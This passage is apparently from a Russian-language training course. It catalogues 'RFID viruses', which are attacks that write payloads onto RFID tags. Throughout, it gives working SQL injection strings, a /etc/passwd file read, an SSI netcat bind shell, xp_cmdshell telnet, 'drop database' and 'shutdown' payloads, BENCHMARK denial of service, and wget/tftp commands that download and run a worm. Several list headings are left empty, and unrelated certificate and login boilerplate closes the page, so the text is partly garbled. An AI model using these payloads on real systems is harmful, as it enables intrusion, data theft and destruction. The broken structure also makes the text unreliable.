SELECT terminal, time, goods, transport FROM warehouse WHERE id = –1 UNION SELECT password FROM admin/* AND port="marine"
в котором часть запроса (AND port="marine") помечена как комментарий и не влияет на выполнение.
Вирусы имеют следующую характерную особенность:
Этот метод атаки с использованием данных, записываемых в RFID-теги, является одним из самых простых, но тем не менее вполне действенным. Допустим, серверное программное обеспечение RFID-системы, получив входной параметр id, считанный с RFID-тега, использует его для создания SQL-запроса. Рассмотрим следующий запрос:
SELECT * FROM warehouse WHERE id = 5
если злоумышленник запишет в RFID тег следующее содержимое:
-1 OR 1=1
то выполнится запрос:
SELECT * FROM warehouse WHERE id = -1 OR 1=1
Изменение входных параметров путем добавления в них конструкций языка SQL вызывает изменение в логике выполнения SQL-запроса (в данном примере вместо выдачи необходимой по данному идентифицируемому объекту информации будет выведена информация по всем объектам в базе данных, поскольку выражение 1 = 1 всегда истинно).
Приведем еще один часто используемый создателями RFID-вирусов прием. В некоторых запросах к базе данных RFID-системы используются запросы, в теле которых встречаются кавычки.
Подобные запросы имеют, к примеру, следующий вид:
SELECT id FROM warehouse WHERE destination = LIKE ('%city%');
Такие запросы часто используются в транспортных RFID-системах учета для того, чтобы водитель автомашины с RFID-тегом мог автоматически при въезде получить, например, список терминалов склада, откуда необходимо загрузить товары. Список терминалов формируется на основе записанного в RFID-теге названия города назначения. В качестве параметра '%city%' вписывается считанное из тега название города.
Злоумышленник, внедрив в содержимое RFID-тега кавычки (которые используются в запросе), может кардинально изменить поведение SQL-запроса. Например, если записать в RFID-тег следующее значение:
')+and+ (news_id_author='1
при считывании исполнится следующий запрос:
SELECT id FROM warehouse WHERE destination = LIKE ('%') AND (delivery_time='01-02-2008%');
Таким образом, злоумышленник может незаконно получить данные о товаре, складированном 1 февраля 2008 г., что может быть конфиденциальной информацией.
К этой категории RFID-вирусов относится множество вирусов, для которых характерны следующие особенности:
Механизм функционирования вирусов этого типа основан на возможности ряда СУБД исполнять запросы, связанные с использованием обращений к файловой системе. Как было показано выше, осуществить атаку на базу данных достаточно просто: необходимо модифицировать данные на RFID-теге таким образом, чтобы изменить запрограммированный SQL-запрос при исполнении. Подобным образом ведут себя и эти вирусы: используя уязвимость ПО, работающего с СУБД, они могут извлечь информацию из базы, а также получить практически любые данные из файловой системы.
Рассмотрим, какие приемы используются такими вирусами, позволяющие за счет модификации запросов SQL получать доступ к базе данных, были подробно рассмотрены в предыдущем параграфе. Рассмотрим те приемы, которые позволяют RFID-вирусам обращаться к файловой системе. Прежде всего это документируемые возможности ряда СУБД по работе с файловыми системами. К подобным возможностям, например, в СУБД MySQL, относится возможность загрузки произвольного файла системы посредством команды LOAD_FILE (‘filename’).
Приведем простейшее содержимое RFID-тега, которое приведет к загрузке файла с паролями в случае функционирования системы учета под ОС семейства UNIX:
union select load_file (‘/etc/passwd’)
Также полезным выглядит использование возможности СУБД записывать выбранные данные в файл. Так в MySQL подобная команда выглядит следующим образом:
union select username from users into outfile 'logins.txt';
Приведенная команда позволяет записать имена пользователей из таблицы users системы в специальный файл.
Все, что остается вирусу, - это передать полученную информацию заинтересованному лицу за пределы системы. Если она подключена к сети, то получить информацию, осуществив запрос к известному файлу, просто. Можно также использовать приемы вирусов, которые будут описаны далее, например вирусов, которые открывают доступ к системе. Получив возможность делать запросы для получения файлов с компьютера, где расположена система, злоумышленник может без труда забрать специально созданный для него файл.
Получить данный файл можно, записав его на соответствующий перезаписываемый тег с большим объемом памяти. Сделать это не так просто, но возможно, так как большинство систем имеют кроме считывателя еще и записывающее устройство. Инициировать запись в подобный тег можно, если изменить содержимое тех ячеек базы данных, из которых, согласно логике системы, чаще всего берется информация для записи в теги. Подобная техника будет подробно рассмотрена в параграфе, посвященном категории самораспространяющихся вирусов.
К данной категории RFID-вирусов относится множество вирусов, для которых характерны следующие особенности:
Данная категория вирусов основана на том, что в большинстве систем используется технология Server-Side Includes (SSIs). Эта технология часто используется в системах RFID для того, чтобы предоставить пользователю возможность удаленного доступа и получения необходимой информации. Как правило, подобную систему тщательно защищают, понимая, что ею может воспользоваться злоумышленник. Тем не менее разработчики системы безопасности большей частью не предполагают, что угроза может идти от RFID-тегов, т.е. изнутри системы, а не снаружи, как обычно. Apache чаще всего используется как сервер для большинства информационных комплексов с серверной реализацией, поэтому приведем простейший пример вируса, использующего атаку на Apache Server-Side Includes (SSIs).
Для успешной атаки в RFID-тег необходимо поместить следующую директиву:
<!--#exec cmd=``netcat -lp1234|sh''-->
Достаточно, чтобы данный код был использован в качестве параметра SQL-запроса, осуществляющего запись информации в базу данных. После того как код будет записан в ячейку базы данных и впоследствии будет выполнен при получении команды из управляющего интерфейса, команда netcat откроет скрытый доступ к атакуемой машине: командный shell, который будет доступен извне на 1234-м порту. Этот доступ будет открыт в течение всего времени, пока будет функционировать SSI.
Таким образом, RFID-тег с вирусом фактически позволит злоумышленнику удаленно управлять системой RFID.
Еще один важный прием, используемый создателями RFID-вирусов, заключается в следующем. Некоторые базы данных позволяют администраторам удаленно выполнять команды, чем также может воспользоваться злоумышленник, эксплуатирующий уязвимости с помощью описанного ранее механизма SQL-инъекции.
Так, например, Microsoft SQL Server выполняет удаленные команды с помощью инструмента 'xp cmdshell'. Злоумышленник может отправить с электронным письмом файл с паролями для доступа к базе данных.
Так будет выглядеть строка, позволяющая подключится к некоторому IP по Telnet:
'; exec master..xp_cmdshell 'telnet 192.168.0.1' -
Особенно актуальной такая атака будет в том случае, если сервер работает с правами администратора.
Данная категория вирусов RFID направлена на вывод системы RFID из строя. Существует два принципиальных подхода к выводу системы из строя: уничтожение "основы" системы - базы данных или оказание такого воздействия на систему, которое не позволит ей функционировать должным образом (вовремя записывать и считывать информацию как в теги, так и в базу данных).
К принципиальным отличиям данных RFID-вирусов относятся следующие:
Данная категория вирусов RFID направлена на уничтожение содержимого базы и ее структуры с целью сделать функционирование RFID-системы невозможным.
Данная категория вирусов, пожалуй, является наиболее простой с точки зрения реализации. Более того, данные вирусы крайне лаконичны и могут быть записаны на тег даже без его подмены на тег с большим объемом памяти.
Простейшей конструкцией, которую можно привести в качестве примера, является:
; drop database;
Также, например, содержимое RFID-тега длиной всего лишь в 12 символов:
;shutdown—
полностью выключит SQL-сервер.
Данная категория вирусов помимо свойств их материнской категории имеет следующую отличительную особенность:
Для осуществления подобных действий RFID-вирусы, как правило, используют возможности вставки в SQL-запрос функции BENCHMARK, которая повторяет выполнение выражения expr, заданное количество раз, указанное в аргументе count. Подобный синтаксис, конечно, относится к СУБД MySQL, но аналоги ему можно найти и для других СУБД.
В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5 ( ). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. Итак, составляем запрос:
BENCHMARK (10000000,BENCHMARK (10000000,md5 (current_date)));
1 000 000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 с, 10 000 000 будут выполнятся около 50 с. Вложенный benchmark будет выполняться очень долго на любом сервере. Для успешного выполнения атаки этого может оказаться достаточно. Можно усугубить ситуацию за счет использования нескольких зараженных тегов в системе, где поток тегов через считыватель достаточно высок.
Данная категория вирусов имеет следующие отличительные особенности:
Зачастую для того, чтобы поразить RFID-систему, вирусного кода, расположенного в одном или даже двух-трех тегах, бывает недостаточно. Для достижения более значительных результатов RFID-вирусам необходимы гораздо более значительные объемы вирусного кода и иногда даже уже заранее скомпилированные приложения. Как правило, подобные приложения часто используются как троянские программы, откуда данная категория и получила свое название.
Подобные вирусы RFID зачастую используют следующую технику. Описанная ранее возможность RFID-тега выполнять shell-команды делает возможным скачивание из сети вируса любой сложности.
Пример такой команды выглядит следующим образом:
cd \Windows\Temp tftp -i <ip> GET worm.exe worm.exe
Вирус скачивается с помощью стандартной утилиты Windows tftp во вмененный каталог. После того как вирус скачан, он устанавливается и работает как полноценная троянская программа.
Также для загрузки вируса извне может быть использована web-технология SSI (Server Side includes). Разберем пример использования SSI для загрузки вирусного кода в ОС Linux.
Для этого необходимо исполнение следующей строки:
<!--#exec cmd="wget http://ip/worm -O /tmp/worm; chmod +x /tmp/worm; /tmp/worm "-->
В ней с помощью стандартной утилиты Linux wget RFID-вирус закачивает свое тело во временный каталог системы, меняет права на исполнение и исполняет.
Еще один способ загрузить код - это поместить в RFID-тег код, который поступает в программу, подверженную переполнению буфера. Такое приложение может загрузить вирусный код извне и исполнить его.
Для получения официальных документов о завершении программы дополнительного профессионального образования (удостоверения о повышении квалификации, дипломов о профессиональной переподготовке и MBA) необходимо предоставить:
Внимание! Вы можете не заказывать доставку бумажной версии официального документы, а скачать его в электронном виде и распечатать самостоятельно. Информация о выданном документе в течение 1 месяца загружается в Федеральную информационную систему «Федеральный реестр сведений о документах об образовании и (или) о квалификации, документах об обучении» - ФИС ФРДО.
Доступ на новый сайт осуществляется с использованием адреса электронной почты, который был указан вами при регистрации на "старом". Мы постарались перенести все ваши данные с прежнего ресурса, однако не исключена вероятность потери части информации.
При возникновении проблемы со входом, воспользуйтесь функцией сброса пароля
Если вы обнаружите несоответствия, пожалуйста, сообщите нам.